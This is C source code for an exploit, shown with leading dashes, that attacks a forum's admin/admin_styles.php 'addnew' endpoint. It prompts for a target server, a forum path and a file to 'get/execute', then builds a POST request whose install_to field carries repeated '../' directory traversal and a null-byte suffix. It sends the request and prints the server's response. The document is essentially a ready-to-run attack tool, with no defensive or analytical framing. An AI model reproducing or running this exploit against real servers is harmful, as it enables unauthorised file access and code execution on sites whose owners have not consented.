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- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- int main()
- {
- //The socket stuff
- struct hostent *hp;
- struct sockaddr_in sa;
- int sock;
-
- //The input stuff
- char server[100];
- char location[100];
- char sfile[100];
- int escapes;
- char* file;
-
- //The request stuff
- char* request;
- char* postdata;
- char* header;
-
- //The buffer to store the response
- char buffer[4096];
- int tworeturns = 0;
- int showing = 0;
-
- //Other
- int i;
-
- //Ask the server
- printf("Server: ");
- scanf("%100s", server);
- printf("Forum location: ");
- scanf("%100s", location);
- printf("Directories to escape: ");
- scanf("%i", &escapes);
- printf("File to get/execute: ");
- scanf("%100s", sfile);
-
-
- //Start the exploit!
- printf("\n\nStarting the exploit...\n");
-
- //Connect to the server
- printf("Creating socket... ");
- if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- {
- printf("Failed!\n");
- return 0;
- } else{
- printf("Done!\n");
- }
-
-
- printf("Looking up server IP... ");
- if((hp = gethostbyname((char*)server)) == NULL)
- {
- printf("Failed!\n");
- return 0;
- } else {
- printf("Done!\n");
- }
-
-
- printf("Connecting %s:80... ", server);
- memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
- sa.sin_family = AF_INET;
- sa.sin_port = htons(80);
- if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
- {
- printf("Failed!\n");
- return 0;
- } else {
- printf("Done!\n");
- }
-
-
- //Create the request
- printf("Building request... ");
-
- //Create the postdata
- file = (char*)malloc(sizeof(char) * (escapes * 3 +
- strlen(sfile) + 1));
-
- while(escapes > 0)
- {
- if(escapes == 1)
- {
- sprintf(file, "%s%s%s", file, "..", sfile);
- } else {
- sprintf(file, "%s%s", file, "../");
- }
-
- escapes --;
- }
-
- postdata = (char*)malloc((27 + strlen(file)) *
- sizeof(char));
- sprintf(postdata, "send_file= &install_to=%s%s00",
- file, "%");
-
- header = (char*)malloc((170 + strlen(server) +
- strlen(location)) * sizeof(char));
- sprintf(header, "POST
- /%s/admin/admin_styles.php?mode=addnew
- HTTP/1.1\r\nContent-Type:
- application/x-www-form-urlencoded\r\nHost:
- %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
- location, server, strlen(postdata));
-
- request = (char*)malloc((strlen(postdata) +
- strlen(header) + 1) * sizeof(char));
- sprintf(request, "%s%s", header, postdata);
-
- printf("Done!\n");
-
-
- //Send the request
- printf("Sending request... ");
- write(sock, request, strlen(request));
- printf("Done!\n");
-
- printf("\nResponse:\n");
- //Get the response
- while(recv(sock, buffer, 4096, 0) != 0)
- {
- for(i = 0; i < strlen(buffer); i++)
- {
- //Only show the character when it should
- if(showing == 1)
- {
- printf("%c", buffer[ i ]);
- }
-
-
- //Stop showing from \n<br>\n
- if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
- buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
- buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
- showing == 1)
- {
- showing = 0;
- tworeturns = 0;
- }
- //Or from \n<br />\n
- if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
- buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
- buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
- buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
- showing == 1)
- {
- showing = 0;
- tworeturns = 0;
- }
-
- //If there's a return and tworeturns = true, start
- showing it
- if(buffer[ i ] == '\n' && tworeturns == 1)
- {
- showing = 1;
- }
-
- //If there are two returns, set tworeturns to true
- and add 3 to i
- if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
- buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
- {
- tworeturns = 1;
- i += 3;
- }
- }
- }
- printf("\n");
-
- return 0;
- }
-